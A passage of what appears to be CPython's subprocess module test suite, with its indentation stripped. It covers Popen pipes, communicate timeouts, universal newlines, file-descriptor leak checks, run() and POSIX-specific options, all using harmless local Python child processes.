'import sys;'
'sys.stdin.read(1)'],
stdin=subprocess.DEVNULL)
p.wait()
self.assertEqual(p.stdin, None)
def test_env(self):
newenv = os.environ.copy()
newenv["FRUIT"] = "orange"
with subprocess.Popen([sys.executable, "-c",
'import sys,os;'
'sys.stdout.write(os.getenv("FRUIT"))'],
stdout=subprocess.PIPE,
env=newenv) as p:
stdout, stderr = p.communicate()
self.assertEqual(stdout, b"orange")
# Windows requires at least the SYSTEMROOT environment variable to start
# Python
@unittest.skipIf(sys.platform == 'win32',
'cannot test an empty env on Windows')
@unittest.skipIf(sysconfig.get_config_var('Py_ENABLE_SHARED') is not None,
'the python library cannot be loaded '
'with an empty environment')
def test_empty_env(self):
with subprocess.Popen([sys.executable, "-c",
'import os; '
'print(list(os.environ.keys()))'],
stdout=subprocess.PIPE,
env={}) as p:
stdout, stderr = p.communicate()
self.assertIn(stdout.strip(),
(b"[]",
# Mac OS X adds __CF_USER_TEXT_ENCODING variable to an empty
# environment
b"['__CF_USER_TEXT_ENCODING']"))
def test_communicate_stdin(self):
p = subprocess.Popen([sys.executable, "-c",
'import sys;'
'sys.exit(sys.stdin.read() == "pear")'],
stdin=subprocess.PIPE)
p.communicate(b"pear")
self.assertEqual(p.returncode, 1)
def test_communicate_stdout(self):
p = subprocess.Popen([sys.executable, "-c",
'import sys; sys.stdout.write("pineapple")'],
stdout=subprocess.PIPE)
(stdout, stderr) = p.communicate()
self.assertEqual(stdout, b"pineapple")
self.assertEqual(stderr, None)
def test_communicate_stderr(self):
p = subprocess.Popen([sys.executable, "-c",
'import sys; sys.stderr.write("pineapple")'],
stderr=subprocess.PIPE)
(stdout, stderr) = p.communicate()
self.assertEqual(stdout, None)
self.assertStderrEqual(stderr, b"pineapple")
def test_communicate(self):
p = subprocess.Popen([sys.executable, "-c",
'import sys,os;'
'sys.stderr.write("pineapple");'
'sys.stdout.write(sys.stdin.read())'],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
self.addCleanup(p.stdout.close)
self.addCleanup(p.stderr.close)
self.addCleanup(p.stdin.close)
(stdout, stderr) = p.communicate(b"banana")
self.assertEqual(stdout, b"banana")
self.assertStderrEqual(stderr, b"pineapple")
def test_communicate_timeout(self):
p = subprocess.Popen([sys.executable, "-c",
'import sys,os,time;'
'sys.stderr.write("pineapple\\n");'
'time.sleep(1);'
'sys.stderr.write("pear\\n");'
'sys.stdout.write(sys.stdin.read())'],
universal_newlines=True,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
self.assertRaises(subprocess.TimeoutExpired, p.communicate, "banana",
timeout=0.3)
# Make sure we can keep waiting for it, and that we get the whole output
# after it completes.
(stdout, stderr) = p.communicate()
self.assertEqual(stdout, "banana")
self.assertStderrEqual(stderr.encode(), b"pineapple\npear\n")
def test_communicate_timeout_large_ouput(self):
# Test an expiring timeout while the child is outputting lots of data.
p = subprocess.Popen([sys.executable, "-c",
'import sys,os,time;'
'sys.stdout.write("a" * (64 * 1024));'
'time.sleep(0.2);'
'sys.stdout.write("a" * (64 * 1024));'
'time.sleep(0.2);'
'sys.stdout.write("a" * (64 * 1024));'
'time.sleep(0.2);'
'sys.stdout.write("a" * (64 * 1024));'],
stdout=subprocess.PIPE)
self.assertRaises(subprocess.TimeoutExpired, p.communicate, timeout=0.4)
(stdout, _) = p.communicate()
self.assertEqual(len(stdout), 4 * 64 * 1024)
# Test for the fd leak reported in http://bugs.python.org/issue2791.
def test_communicate_pipe_fd_leak(self):
for stdin_pipe in (False, True):
for stdout_pipe in (False, True):
for stderr_pipe in (False, True):
options = {}
if stdin_pipe:
options['stdin'] = subprocess.PIPE
if stdout_pipe:
options['stdout'] = subprocess.PIPE
if stderr_pipe:
options['stderr'] = subprocess.PIPE
if not options:
continue
p = subprocess.Popen((sys.executable, "-c", "pass"), **options)
p.communicate()
if p.stdin is not None:
self.assertTrue(p.stdin.closed)
if p.stdout is not None:
self.assertTrue(p.stdout.closed)
if p.stderr is not None:
self.assertTrue(p.stderr.closed)
def test_communicate_returns(self):
# communicate() should return None if no redirection is active
p = subprocess.Popen([sys.executable, "-c",
"import sys; sys.exit(47)"])
(stdout, stderr) = p.communicate()
self.assertEqual(stdout, None)
self.assertEqual(stderr, None)
def test_communicate_pipe_buf(self):
# communicate() with writes larger than pipe_buf
# This test will probably deadlock rather than fail, if
# communicate() does not work properly.
x, y = os.pipe()
os.close(x)
os.close(y)
p = subprocess.Popen([sys.executable, "-c",
'import sys,os;'
'sys.stdout.write(sys.stdin.read(47));'
'sys.stderr.write("x" * %d);'
'sys.stdout.write(sys.stdin.read())' %
support.PIPE_MAX_SIZE],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
self.addCleanup(p.stdout.close)
self.addCleanup(p.stderr.close)
self.addCleanup(p.stdin.close)
string_to_write = b"a" * support.PIPE_MAX_SIZE
(stdout, stderr) = p.communicate(string_to_write)
self.assertEqual(stdout, string_to_write)
def test_writes_before_communicate(self):
# stdin.write before communicate()
p = subprocess.Popen([sys.executable, "-c",
'import sys,os;'
'sys.stdout.write(sys.stdin.read())'],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
self.addCleanup(p.stdout.close)
self.addCleanup(p.stderr.close)
self.addCleanup(p.stdin.close)
p.stdin.write(b"banana")
(stdout, stderr) = p.communicate(b"split")
self.assertEqual(stdout, b"bananasplit")
self.assertStderrEqual(stderr, b"")
def test_universal_newlines(self):
p = subprocess.Popen([sys.executable, "-c",
'import sys,os;' + SETBINARY +
'buf = sys.stdout.buffer;'
'buf.write(sys.stdin.readline().encode());'
'buf.flush();'
'buf.write(b"line2\\n");'
'buf.flush();'
'buf.write(sys.stdin.read().encode());'
'buf.flush();'
'buf.write(b"line4\\n");'
'buf.flush();'
'buf.write(b"line5\\r\\n");'
'buf.flush();'
'buf.write(b"line6\\r");'
'buf.flush();'
'buf.write(b"\\nline7");'
'buf.flush();'
'buf.write(b"\\nline8");'],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
universal_newlines=1)
p.stdin.write("line1\n")
p.stdin.flush()
self.assertEqual(p.stdout.readline(), "line1\n")
p.stdin.write("line3\n")
p.stdin.close()
self.addCleanup(p.stdout.close)
self.assertEqual(p.stdout.readline(),
"line2\n")
self.assertEqual(p.stdout.read(6),
"line3\n")
self.assertEqual(p.stdout.read(),
"line4\nline5\nline6\nline7\nline8")
def test_universal_newlines_communicate(self):
# universal newlines through communicate()
p = subprocess.Popen([sys.executable, "-c",
'import sys,os;' + SETBINARY +
'buf = sys.stdout.buffer;'
'buf.write(b"line2\\n");'
'buf.flush();'
'buf.write(b"line4\\n");'
'buf.flush();'
'buf.write(b"line5\\r\\n");'
'buf.flush();'
'buf.write(b"line6\\r");'
'buf.flush();'
'buf.write(b"\\nline7");'
'buf.flush();'
'buf.write(b"\\nline8");'],
stderr=subprocess.PIPE,
stdout=subprocess.PIPE,
universal_newlines=1)
self.addCleanup(p.stdout.close)
self.addCleanup(p.stderr.close)
(stdout, stderr) = p.communicate()
self.assertEqual(stdout,
"line2\nline4\nline5\nline6\nline7\nline8")
def test_universal_newlines_communicate_stdin(self):
# universal newlines through communicate(), with only stdin
p = subprocess.Popen([sys.executable, "-c",
'import sys,os;' + SETBINARY + textwrap.dedent('''
s = sys.stdin.readline()
assert s == "line1\\n", repr(s)
s = sys.stdin.read()
assert s == "line3\\n", repr(s)
''')],
stdin=subprocess.PIPE,
universal_newlines=1)
(stdout, stderr) = p.communicate("line1\nline3\n")
self.assertEqual(p.returncode, 0)
def test_universal_newlines_communicate_input_none(self):
# Test communicate(input=None) with universal newlines.
#
# We set stdout to PIPE because, as of this writing, a different
# code path is tested when the number of pipes is zero or one.
p = subprocess.Popen([sys.executable, "-c", "pass"],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
universal_newlines=True)
p.communicate()
self.assertEqual(p.returncode, 0)
def test_universal_newlines_communicate_stdin_stdout_stderr(self):
# universal newlines through communicate(), with stdin, stdout, stderr
p = subprocess.Popen([sys.executable, "-c",
'import sys,os;' + SETBINARY + textwrap.dedent('''
s = sys.stdin.buffer.readline()
sys.stdout.buffer.write(s)
sys.stdout.buffer.write(b"line2\\r")
sys.stderr.buffer.write(b"eline2\\n")
s = sys.stdin.buffer.read()
sys.stdout.buffer.write(s)
sys.stdout.buffer.write(b"line4\\n")
sys.stdout.buffer.write(b"line5\\r\\n")
sys.stderr.buffer.write(b"eline6\\r")
sys.stderr.buffer.write(b"eline7\\r\\nz")
''')],
stdin=subprocess.PIPE,
stderr=subprocess.PIPE,
stdout=subprocess.PIPE,
universal_newlines=True)
self.addCleanup(p.stdout.close)
self.addCleanup(p.stderr.close)
(stdout, stderr) = p.communicate("line1\nline3\n")
self.assertEqual(p.returncode, 0)
self.assertEqual("line1\nline2\nline3\nline4\nline5\n", stdout)
# Python debug build push something like "[42442 refs]\n"
# to stderr at exit of subprocess.
# Don't use assertStderrEqual because it strips CR and LF from output.
self.assertTrue(stderr.startswith("eline2\neline6\neline7\n"))
def test_universal_newlines_communicate_encodings(self):
# Check that universal newlines mode works for various encodings,
# in particular for encodings in the UTF-16 and UTF-32 families.
# See issue #15595.
#
# UTF-16 and UTF-32-BE are sufficient to check both with BOM and
# without, and UTF-16 and UTF-32.
import _bootlocale
for encoding in ['utf-16', 'utf-32-be']:
old_getpreferredencoding = _bootlocale.getpreferredencoding
# Indirectly via io.TextIOWrapper, Popen() defaults to
# locale.getpreferredencoding(False) and earlier in Python 3.2 to
# locale.getpreferredencoding().
def getpreferredencoding(do_setlocale=True):
return encoding
code = ("import sys; "
r"sys.stdout.buffer.write('1\r\n2\r3\n4'.encode('%s'))" %
encoding)
args = [sys.executable, '-c', code]
try:
_bootlocale.getpreferredencoding = getpreferredencoding
# We set stdin to be non-None because, as of this writing,
# a different code path is used when the number of pipes is
# zero or one.
popen = subprocess.Popen(args, universal_newlines=True,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE)
stdout, stderr = popen.communicate(input='')
finally:
_bootlocale.getpreferredencoding = old_getpreferredencoding
self.assertEqual(stdout, '1\n2\n3\n4')
def test_no_leaking(self):
# Make sure we leak no resources
if not mswindows:
max_handles = 1026 # too much for most UNIX systems
else:
max_handles = 2050 # too much for (at least some) Windows setups
handles = []
tmpdir = tempfile.mkdtemp()
try:
for i in range(max_handles):
try:
tmpfile = os.path.join(tmpdir, support.TESTFN)
handles.append(os.open(tmpfile, os.O_WRONLY|os.O_CREAT))
except OSError as e:
if e.errno != errno.EMFILE:
raise
break
else:
self.skipTest("failed to reach the file descriptor limit "
"(tried %d)" % max_handles)
# Close a couple of them (should be enough for a subprocess)
for i in range(10):
os.close(handles.pop())
# Loop creating some subprocesses. If one of them leaks some fds,
# the next loop iteration will fail by reaching the max fd limit.
for i in range(15):
p = subprocess.Popen([sys.executable, "-c",
"import sys;"
"sys.stdout.write(sys.stdin.read())"],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
data = p.communicate(b"lime")[0]
self.assertEqual(data, b"lime")
finally:
for h in handles:
os.close(h)
shutil.rmtree(tmpdir)
def test_list2cmdline(self):
self.assertEqual(subprocess.list2cmdline(['a b c', 'd', 'e']),
'"a b c" d e')
self.assertEqual(subprocess.list2cmdline(['ab"c', '\\', 'd']),
'ab\\"c \\ d')
self.assertEqual(subprocess.list2cmdline(['ab"c', ' \\', 'd']),
'ab\\"c " \\\\" d')
self.assertEqual(subprocess.list2cmdline(['a\\\\\\b', 'de fg', 'h']),
'a\\\\\\b "de fg" h')
self.assertEqual(subprocess.list2cmdline(['a\\"b', 'c', 'd']),
'a\\\\\\"b c d')
self.assertEqual(subprocess.list2cmdline(['a\\\\b c', 'd', 'e']),
'"a\\\\b c" d e')
self.assertEqual(subprocess.list2cmdline(['a\\\\b\\ c', 'd', 'e']),
'"a\\\\b\\ c" d e')
self.assertEqual(subprocess.list2cmdline(['ab', '']),
'ab ""')
def test_poll(self):
p = subprocess.Popen([sys.executable, "-c",
"import os; os.read(0, 1)"],
stdin=subprocess.PIPE)
self.addCleanup(p.stdin.close)
self.assertIsNone(p.poll())
os.write(p.stdin.fileno(), b'A')
p.wait()
# Subsequent invocations should just return the returncode
self.assertEqual(p.poll(), 0)
def test_wait(self):
p = subprocess.Popen([sys.executable, "-c", "pass"])
self.assertEqual(p.wait(), 0)
# Subsequent invocations should just return the returncode
self.assertEqual(p.wait(), 0)
def test_wait_timeout(self):
p = subprocess.Popen([sys.executable,
"-c", "import time; time.sleep(0.3)"])
with self.assertRaises(subprocess.TimeoutExpired) as c:
p.wait(timeout=0.0001)
self.assertIn("0.0001", str(c.exception)) # For coverage of __str__.
# Some heavily loaded buildbots (sparc Debian 3.x) require this much
# time to start.
self.assertEqual(p.wait(timeout=3), 0)
def test_invalid_bufsize(self):
# an invalid type of the bufsize argument should raise
# TypeError.
with self.assertRaises(TypeError):
subprocess.Popen([sys.executable, "-c", "pass"], "orange")
def test_bufsize_is_none(self):
# bufsize=None should be the same as bufsize=0.
p = subprocess.Popen([sys.executable, "-c", "pass"], None)
self.assertEqual(p.wait(), 0)
# Again with keyword arg
p = subprocess.Popen([sys.executable, "-c", "pass"], bufsize=None)
self.assertEqual(p.wait(), 0)
def _test_bufsize_equal_one(self, line, expected, universal_newlines):
# subprocess may deadlock with bufsize=1, see issue #21332
with subprocess.Popen([sys.executable, "-c", "import sys;"
"sys.stdout.write(sys.stdin.readline());"
"sys.stdout.flush()"],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.DEVNULL,
bufsize=1,
universal_newlines=universal_newlines) as p:
p.stdin.write(line) # expect that it flushes the line in text mode
os.close(p.stdin.fileno()) # close it without flushing the buffer
read_line = p.stdout.readline()
try:
p.stdin.close()
except OSError:
pass
p.stdin = None
self.assertEqual(p.returncode, 0)
self.assertEqual(read_line, expected)
def test_bufsize_equal_one_text_mode(self):
# line is flushed in text mode with bufsize=1.
# we should get the full line in return
line = "line\n"
self._test_bufsize_equal_one(line, line, universal_newlines=True)
def test_bufsize_equal_one_binary_mode(self):
# line is not flushed in binary mode with bufsize=1.
# we should get empty response
line = b'line' + os.linesep.encode() # assume ascii-based locale
self._test_bufsize_equal_one(line, b'', universal_newlines=False)
def test_leaking_fds_on_error(self):
# see bug #5179: Popen leaks file descriptors to PIPEs if
# the child fails to execute; this will eventually exhaust
# the maximum number of open fds. 1024 seems a very common
# value for that limit, but Windows has 2048, so we loop
# 1024 times (each call leaked two fds).
for i in range(1024):
with self.assertRaises(OSError) as c:
subprocess.Popen(['nonexisting_i_hope'],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
# ignore errors that indicate the command was not found
if c.exception.errno not in (errno.ENOENT, errno.EACCES):
raise c.exception
@unittest.skipIf(threading is None, "threading required")
def test_double_close_on_error(self):
# Issue #18851
fds = []
def open_fds():
for i in range(20):
fds.extend(os.pipe())
time.sleep(0.001)
t = threading.Thread(target=open_fds)
t.start()
try:
with self.assertRaises(EnvironmentError):
subprocess.Popen(['nonexisting_i_hope'],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
finally:
t.join()
exc = None
for fd in fds:
# If a double close occurred, some of those fds will
# already have been closed by mistake, and os.close()
# here will raise.
try:
os.close(fd)
except OSError as e:
exc = e
if exc is not None:
raise exc
@unittest.skipIf(threading is None, "threading required")
def test_threadsafe_wait(self):
"""Issue21291: Popen.wait() needs to be threadsafe for returncode."""
proc = subprocess.Popen([sys.executable, '-c',
'import time; time.sleep(12)'])
self.assertEqual(proc.returncode, None)
results = []
def kill_proc_timer_thread():
results.append(('thread-start-poll-result', proc.poll()))
# terminate it from the thread and wait for the result.
proc.kill()
proc.wait()
results.append(('thread-after-kill-and-wait', proc.returncode))
# this wait should be a no-op given the above.
proc.wait()
results.append(('thread-after-second-wait', proc.returncode))
# This is a timing sensitive test, the failure mode is
# triggered when both the main thread and this thread are in
# the wait() call at once. The delay here is to allow the
# main thread to most likely be blocked in its wait() call.
t = threading.Timer(0.2, kill_proc_timer_thread)
t.start()
if mswindows:
expected_errorcode = 1
else:
# Should be -9 because of the proc.kill() from the thread.
expected_errorcode = -9
# Wait for the process to finish; the thread should kill it
# long before it finishes on its own. Supplying a timeout
# triggers a different code path for better coverage.
proc.wait(timeout=20)
self.assertEqual(proc.returncode, expected_errorcode,
msg="unexpected result in wait from main thread")
# This should be a no-op with no change in returncode.
proc.wait()
self.assertEqual(proc.returncode, expected_errorcode,
msg="unexpected result in second main wait.")
t.join()
# Ensure that all of the thread results are as expected.
# When a race condition occurs in wait(), the returncode could
# be set by the wrong thread that doesn't actually have it
# leading to an incorrect value.
self.assertEqual([('thread-start-poll-result', None),
('thread-after-kill-and-wait', expected_errorcode),
('thread-after-second-wait', expected_errorcode)],
results)
def test_issue8780(self):
# Ensure that stdout is inherited from the parent
# if stdout=PIPE is not used
code = ';'.join((
'import subprocess, sys',
'retcode = subprocess.call('
"[sys.executable, '-c', 'print(\"Hello World!\")'])",
'assert retcode == 0'))
output = subprocess.check_output([sys.executable, '-c', code])
self.assertTrue(output.startswith(b'Hello World!'), ascii(output))
def test_handles_closed_on_exception(self):
# If CreateProcess exits with an error, ensure the
# duplicate output handles are released
ifhandle, ifname = tempfile.mkstemp()
ofhandle, ofname = tempfile.mkstemp()
efhandle, efname = tempfile.mkstemp()
try:
subprocess.Popen (["*"], stdin=ifhandle, stdout=ofhandle,
stderr=efhandle)
except OSError:
os.close(ifhandle)
os.remove(ifname)
os.close(ofhandle)
os.remove(ofname)
os.close(efhandle)
os.remove(efname)
self.assertFalse(os.path.exists(ifname))
self.assertFalse(os.path.exists(ofname))
self.assertFalse(os.path.exists(efname))
def test_communicate_epipe(self):
# Issue 10963: communicate() should hide EPIPE
p = subprocess.Popen([sys.executable, "-c", 'pass'],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
self.addCleanup(p.stdout.close)
self.addCleanup(p.stderr.close)
self.addCleanup(p.stdin.close)
p.communicate(b"x" * 2**20)
def test_communicate_epipe_only_stdin(self):
# Issue 10963: communicate() should hide EPIPE
p = subprocess.Popen([sys.executable, "-c", 'pass'],
stdin=subprocess.PIPE)
self.addCleanup(p.stdin.close)
p.wait()
p.communicate(b"x" * 2**20)
@unittest.skipUnless(hasattr(signal, 'SIGUSR1'),
"Requires signal.SIGUSR1")
@unittest.skipUnless(hasattr(os, 'kill'),
"Requires os.kill")
@unittest.skipUnless(hasattr(os, 'getppid'),
"Requires os.getppid")
def test_communicate_eintr(self):
# Issue #12493: communicate() should handle EINTR
def handler(signum, frame):
pass
old_handler = signal.signal(signal.SIGUSR1, handler)
self.addCleanup(signal.signal, signal.SIGUSR1, old_handler)
args = [sys.executable, "-c",
'import os, signal;'
'os.kill(os.getppid(), signal.SIGUSR1)']
for stream in ('stdout', 'stderr'):
kw = {stream: subprocess.PIPE}
with subprocess.Popen(args, **kw) as process:
# communicate() will be interrupted by SIGUSR1
process.communicate()
# This test is Linux-ish specific for simplicity to at least have
# some coverage. It is not a platform specific bug.
@unittest.skipUnless(os.path.isdir('/proc/%d/fd' % os.getpid()),
"Linux specific")
def test_failed_child_execute_fd_leak(self):
"""Test for the fork() failure fd leak reported in issue16327."""
fd_directory = '/proc/%d/fd' % os.getpid()
fds_before_popen = os.listdir(fd_directory)
with self.assertRaises(PopenTestException):
PopenExecuteChildRaises(
[sys.executable, '-c', 'pass'], stdin=subprocess.PIPE,
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
# NOTE: This test doesn't verify that the real _execute_child
# does not close the file descriptors itself on the way out
# during an exception. Code inspection has confirmed that.
fds_after_exception = os.listdir(fd_directory)
self.assertEqual(fds_before_popen, fds_after_exception)
class RunFuncTestCase(BaseTestCase):
def run_python(self, code, **kwargs):
"""Run Python code in a subprocess using subprocess.run"""
argv = [sys.executable, "-c", code]
return subprocess.run(argv, **kwargs)
def test_returncode(self):
# call() function with sequence argument
cp = self.run_python("import sys; sys.exit(47)")
self.assertEqual(cp.returncode, 47)
with self.assertRaises(subprocess.CalledProcessError):
cp.check_returncode()
def test_check(self):
with self.assertRaises(subprocess.CalledProcessError) as c:
self.run_python("import sys; sys.exit(47)", check=True)
self.assertEqual(c.exception.returncode, 47)
def test_check_zero(self):
# check_returncode shouldn't raise when returncode is zero
cp = self.run_python("import sys; sys.exit(0)", check=True)
self.assertEqual(cp.returncode, 0)
def test_timeout(self):
# run() function with timeout argument; we want to test that the child
# process gets killed when the timeout expires. If the child isn't
# killed, this call will deadlock since subprocess.run waits for the
# child.
with self.assertRaises(subprocess.TimeoutExpired):
self.run_python("while True: pass", timeout=0.0001)
def test_capture_stdout(self):
# capture stdout with zero return code
cp = self.run_python("print('BDFL')", stdout=subprocess.PIPE)
self.assertIn(b'BDFL', cp.stdout)
def test_capture_stderr(self):
cp = self.run_python("import sys; sys.stderr.write('BDFL')",
stderr=subprocess.PIPE)
self.assertIn(b'BDFL', cp.stderr)
def test_check_output_stdin_arg(self):
# run() can be called with stdin set to a file
tf = tempfile.TemporaryFile()
self.addCleanup(tf.close)
tf.write(b'pear')
tf.seek(0)
cp = self.run_python(
"import sys; sys.stdout.write(sys.stdin.read().upper())",
stdin=tf, stdout=subprocess.PIPE)
self.assertIn(b'PEAR', cp.stdout)
def test_check_output_input_arg(self):
# check_output() can be called with input set to a string
cp = self.run_python(
"import sys; sys.stdout.write(sys.stdin.read().upper())",
input=b'pear', stdout=subprocess.PIPE)
self.assertIn(b'PEAR', cp.stdout)
def test_check_output_stdin_with_input_arg(self):
# run() refuses to accept 'stdin' with 'input'
tf = tempfile.TemporaryFile()
self.addCleanup(tf.close)
tf.write(b'pear')
tf.seek(0)
with self.assertRaises(ValueError,
msg="Expected ValueError when stdin and input args supplied.") as c:
output = self.run_python("print('will not be run')",
stdin=tf, input=b'hare')
self.assertIn('stdin', c.exception.args[0])
self.assertIn('input', c.exception.args[0])
def test_check_output_timeout(self):
with self.assertRaises(subprocess.TimeoutExpired) as c:
cp = self.run_python((
"import sys, time\n"
"sys.stdout.write('BDFL')\n"
"sys.stdout.flush()\n"
"time.sleep(3600)"),
# Some heavily loaded buildbots (sparc Debian 3.x) require
# this much time to start and print.
timeout=3, stdout=subprocess.PIPE)
self.assertEqual(c.exception.output, b'BDFL')
# output is aliased to stdout
self.assertEqual(c.exception.stdout, b'BDFL')
def test_run_kwargs(self):
newenv = os.environ.copy()
newenv["FRUIT"] = "banana"
cp = self.run_python(('import sys, os;'
'sys.exit(33 if os.getenv("FRUIT")=="banana" else 31)'),
env=newenv)
self.assertEqual(cp.returncode, 33)
@unittest.skipIf(mswindows, "POSIX specific tests")
class POSIXProcessTestCase(BaseTestCase):
def setUp(self):
super().setUp()
self._nonexistent_dir = "/_this/pa.th/does/not/exist"
def _get_chdir_exception(self):
try:
os.chdir(self._nonexistent_dir)
except OSError as e:
# This avoids hard coding the errno value or the OS perror()
# string and instead capture the exception that we want to see
# below for comparison.
desired_exception = e
desired_exception.strerror += ': ' + repr(self._nonexistent_dir)
else:
self.fail("chdir to nonexistant directory %s succeeded." %
self._nonexistent_dir)
return desired_exception
def test_exception_cwd(self):
"""Test error in the child raised in the parent for a bad cwd."""
desired_exception = self._get_chdir_exception()
try:
p = subprocess.Popen([sys.executable, "-c", ""],
cwd=self._nonexistent_dir)
except OSError as e:
# Test that the child process chdir failure actually makes
# it up to the parent process as the correct exception.
self.assertEqual(desired_exception.errno, e.errno)
self.assertEqual(desired_exception.strerror, e.strerror)
else:
self.fail("Expected OSError: %s" % desired_exception)
def test_exception_bad_executable(self):
"""Test error in the child raised in the parent for a bad executable."""
desired_exception = self._get_chdir_exception()
try:
p = subprocess.Popen([sys.executable, "-c", ""],
executable=self._nonexistent_dir)
except OSError as e:
# Test that the child process exec failure actually makes
# it up to the parent process as the correct exception.
self.assertEqual(desired_exception.errno, e.errno)
self.assertEqual(desired_exception.strerror, e.strerror)
else:
self.fail("Expected OSError: %s" % desired_exception)
def test_exception_bad_args_0(self):
"""Test error in the child raised in the parent for a bad args[0]."""
desired_exception = self._get_chdir_exception()
try:
p = subprocess.Popen([self._nonexistent_dir, "-c", ""])
except OSError as e:
# Test that the child process exec failure actually makes
# it up to the parent process as the correct exception.
self.assertEqual(desired_exception.errno, e.errno)
self.assertEqual(desired_exception.strerror, e.strerror)
else:
self.fail("Expected OSError: %s" % desired_exception)
def test_restore_signals(self):
# Code coverage for both values of restore_signals to make sure it
# at least does not blow up.
# A test for behavior would be complex. Contributions welcome.
subprocess.call([sys.executable, "-c", ""], restore_signals=True)
subprocess.call([sys.executable, "-c", ""], restore_signals=False)
def test_start_new_session(self):
# For code coverage of calling setsid(). We don't care if we get an
# EPERM error from it depending on the test execution environment, that
# still indicates that it was called.
try:
output = subprocess.check_output(
[sys.executable, "-c",
"import os; print(os.getpgid(os.getpid()))"],
start_new_session=True)
except OSError as e:
if e.errno != errno.EPERM:
raise
else:
parent_pgid = os.getpgid(os.getpid())
child_pgid = int(output)
self.assertNotEqual(parent_pgid, child_pgid)
def test_run_abort(self):
# returncode handles signal termination
with support.SuppressCrashReport():
p = subprocess.Popen([sys.executable, "-c",
'import os; os.abort()'])
p.wait()
self.assertEqual(-p.returncode, signal.SIGABRT)
def test_preexec(self):
# DISCLAIMER: Setting environment variables is *not* a good use
# of a preexec_fn. This is merely a test.
p = subprocess.Popen([sys.executable, "-c",
'import sys,os;'
'sys.stdout.write(os.getenv("FRUIT"))'],
stdout=subprocess.PIPE,
preexec_fn=lambda: os.putenv("FRUIT", "apple"))
self.addCleanup(p.stdout.close)
self.assertEqual(p.stdout.read(), b"apple")
def test_preexec_exception(self):
def raise_it():
raise ValueError("What if two swallows carried a coconut?")
try:
p = subprocess.Popen([sys.executable, "-c", ""],
preexec_fn=raise_it)
except subprocess.SubprocessError as e:
self.assertTrue(
subprocess._posixsubprocess,
"Expected a ValueError from the preexec_fn")
except ValueError as e:
self.assertIn("coconut", e.args[0])
else:
self.fail("Exception raised by preexec_fn did not make it "
"to the parent process.")
class _TestExecuteChildPopen(subprocess.Popen):
"""Used to test behavior at the end of _execute_child."""
def __init__(self, testcase, *args, **kwargs):
self._testcase = testcase
subprocess.Popen.__init__(self, *args, **kwargs)
def _execute_child(self, *args, **kwargs):
try:
subprocess.Popen._execute_child(self, *args, **kwargs)
finally:
# Open a bunch of file descriptors and verify that
# none of them are the same as the ones the Popen
# instance is using for stdin/stdout/stderr.
devzero_fds = [os.open("/dev/zero", os.O_RDONLY)
for _ in range(8)]
try:
for fd in devzero_fds:
self._testcase.assertNotIn(
fd, (self.stdin.fileno(), self.stdout.fileno(),
self.stderr.fileno()),
msg="At least one fd was closed early.")
finally:
for fd in devzero_fds:
os.close(fd)
@unittest.skipIf(not os.path.exists("/dev/zero"), "/dev/zero required.")
def test_preexec_errpipe_does_not_double_close_pipes(self):
"""Issue16140: Don't double close pipes on preexec error."""
def raise_it():
raise subprocess.SubprocessError(
"force the _execute_child() errpipe_data path.")
with self.assertRaises(subprocess.SubprocessError):
self._TestExecuteChildPopen(
self, [sys.executable, "-c", "pass"],
stdin=subprocess.PIPE, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, preexec_fn=raise_it)
def test_preexec_gc_module_failure(self):
# This tests the code that disables garbage collection if the child
# process will execute any Python.
def raise_runtime_error():
raise RuntimeError("this shouldn't escape")
enabled = gc.isenabled()
orig_gc_disable = gc.disable
orig_gc_isenabled = gc.isenabled
try:
gc.disable()
self.assertFalse(gc.isenabled())
subprocess.call([sys.executable, '-c', ''],
preexec_fn=lambda: None)
self.assertFalse(gc.isenabled(),
"Popen enabled gc when it shouldn't.")
gc.enable()
self.assertTrue(gc.isenabled())
subprocess.call([sys.executable, '-c', ''],
preexec_fn=lambda: None)
self.assertTrue(gc.isenabled(), "Popen left gc disabled.")
gc.disable = raise_runtime_error
self.assertRaises(RuntimeError, subprocess.Popen,
[sys.executable, '-c', ''],
preexec_fn=lambda: None)
del gc.isenabled # force an AttributeError
self.assertRaises(AttributeError, subprocess.Popen,
[sys.executable, '-c', ''],
preexec_fn=lambda: None)
finally:
gc.disable = orig_gc_disable
gc.isenabled = orig_gc_isenabled
if not enabled:
gc.disable()
@unittest.skipIf(
sys.platform == 'darwin', 'setrlimit() seems to fail on OS X')
def test_preexec_fork_failure(self):
# The internal code did not preserve the previous exception when
# re-enabling garbage collection
try:
from resource import getrlimit, setrlimit, RLIMIT_NPROC
except ImportError as err:
self.skipTest(err) # RLIMIT_NPROC is specific to Linux and BSD
limits = getrlimit(RLIMIT_NPROC)
[_, hard] = limits
setrlimit(RLIMIT_NPROC, (0, hard))
self.addCleanup(setrlimit, RLIMIT_NPROC, limits)
try:
subprocess.call([sys.executable, '-c', ''],
preexec_fn=lambda: None)
except BlockingIOError:
# Forking should raise EAGAIN, translated to BlockingIOError
pass
else:
self.skipTest('RLIMIT_NPROC had no effect; probably superuser')
def test_args_string(self):
# args is a string
fd, fname = tempfile.mkstemp()
# reopen in text mode
with open(fd, "w", errors="surrogateescape") as fobj:
fobj.write("#!/bin/sh\n")
fobj.write("exec '%s' -c 'import sys; sys.exit(47)'\n" %
sys.executable)
os.chmod(fname, 0o700)
p = subprocess.Popen(fname)
p.wait()
os.remove(fname)
self.assertEqual(p.returncode, 47)
def test_invalid_args(self):
# invalid arguments should raise ValueError
self.assertRaises(ValueError, subprocess.call,
[sys.executable, "-c",
"import sys; sys.exit(47)"],
startupinfo=47)
self.assertRaises(ValueError, subprocess.call,
[sys.executable, "-c",
"import sys; sys.exit(47)"],
creationflags=47)
